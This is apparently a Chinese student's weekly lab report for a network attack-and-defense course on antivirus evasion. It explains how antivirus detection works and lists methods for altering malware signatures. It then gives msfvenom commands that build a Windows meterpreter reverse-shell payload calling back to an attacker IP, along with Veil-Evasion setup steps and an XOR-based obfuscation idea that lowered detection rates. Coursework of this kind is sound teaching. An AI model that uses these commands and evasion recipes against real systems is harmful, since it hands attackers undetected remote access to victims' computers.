2017-2018-2 20179204《网络攻防实践》第十二周学习总结 免杀技术
第1节 实践内容
1.理解免杀技术原理
2.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(成功实现了免杀的。如何做成功的简单语言描述即可,不要截图、指令。与杀软共生的结果验证要截图。)
3.通过组合应用各种技术实现恶意代码免杀;
4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
第2节 基础问题
2.1 杀软是如何检测出恶意代码的?
- 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 基于签名的检测技术
基于签名的检测技术主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名由专家手工找出或通过自动方法生成,一个签名提取出来以标志一个特定恶意代码的特征性质。
- 启发式恶意软件检测
这种方法的思想是为病毒的特征设定一个阈值,扫描器分析文件时,当文件的总权值超出了设定值,就将其看作是恶意代码.这种方法主要的技术是要准确的定义类似病毒的特征,这依靠准确的模拟处理器。评定基于宏病毒的影响更是一个挑战,他们的结构和可能的执行流程比已经编译过的可执行文件更难预测。
- 基于行为的恶意软件检测
利用病毒的特有行为特征来监测病毒的方法,称为行为监测法。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。缺点是误报率比较高、不能识别病毒名称及类型、实现时有一定难度。
2.2 免杀是做什么?
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。是一种能使病毒木马避免被杀毒软件查杀的技术。
2.3 免杀的基本方法有哪些?
方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制。 2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用。
方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。 2.适用范围:特征码所对应的内容必需是字符串,否则不能成功。
方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令。 2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等。
方法四:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下。 2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行。
方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行。 2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法。
文件免杀方法:
1.加冷门壳 2.加花指令 3.改程序入口点 4.改木马文件特征码的5种常用方法 5.还有其它的几种免杀修改技巧
内存免杀方法:
1.直接修改特征码的十六进制法 2.修改字符串大小写法 3.等价替换法 4.指令顺序调换法 5.通用跳转法
第3节 实践过程记录
3.1 msfvenom直接生成meterpreter可执行文件
windows ip:172.30.2.183 kali ip:172.30.1.150
Msfvenom是Metasploit平台下用来编码payloads免杀的工具,msfvenom命令行选项如下:
-p,指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定。 -f,指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e,指定需要使用的encoder(编码器) -a,指定payload的目标架构,指定payload的目标平台 -b,设定规避字符集,比如: '\x00\xff' -i,指定payload的编码次数 -x,指定一个自定义的可执行文件作为模板
- 根据攻击机的IP用msfvenom直接生成meterpreter可执行文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f exe > Rebrust-2.exe
- 将其复制到Windows桌面,一开始防火墙会自动隔离,关闭防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:
40%的杀毒软件报告发现病毒。通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造。
- upx加壳后测试降低到37%。
3.2 用Veil-Evasion生成可执行文件
kali原本没有veil-evasion ,所以首先进行安装:
sudo apt-get install veil-evasion
多次尝试均安装失败。参考csdn博客免杀后门之MSF&Veil-Evasion的完美结合和Kali 2.0教程:如何安装Veil-Evasion,直接从 github 上进行clone下载
git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
历经种种曲折,终于安装成功:
使用命令Veil-Evation,打开Veil-Evation,按照menu提示进行相关操作。
成功进入到菜单界面,可以看到当前一共有 51 种 payload 可用!我们可以使用 list 命令来查看 payload 的详细信息。根据 payload 编号,这里我选择7号的c/meterpreter/rev_tcp_service.py进行演示。
menu下依次输入语言、ip、端口号以及文件名等:
set LHOST 192.168.199.198 set LPORT 443 generate gege
- 进入生成文件的路径。将生成的文件gege.exe复制到主机,上传网站:www.virscan.org进行检测。结果:
15%的杀毒软件报告发现病毒。- 回连测试语句:msfconsole -r /usr/share/veil-output/handlers/gege_handler.rc
或采用Kali-利用metasploit中的exploit/multi/handler进行攻击
3.3 使用c语言调用shellcode
- kali下使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.150 LPORT=443 -f c
- 把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。
- 检测结果如下:
7%的杀毒软件报告发现病毒。
第4节 实验总结与体会
不抛弃不放弃~
第5节 遇到的问题与解决过程
veil-evasion安装较为复杂,参考了两篇文档免杀后门之MSF&Veil-Evasion的完美结合和Kali 2.0教程:如何安装Veil-Evasion
- 命令行输入git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
在以上一系列繁杂的安装过程后下面我们就可以来正常使用 Veil-Evasion了,我们进入到Veil-Evasion目录下,执行命令python Veil-Evasion.py
即可。
第6节 离实战还缺什么技术或步骤?
可以尝试对原shellcode异或0x01,异或之后再对字符串数组进行倒置操作,然后在代码中需要先进行倒置,即恢复原本异或01后的字符串数组,再异或01,可以返回原本的shellcode,希望通过修改shellcode原本的样子,降低其通过特征库查杀的概率,可以和杀软共存实现免杀,放到virscan上也只有2%的报毒率。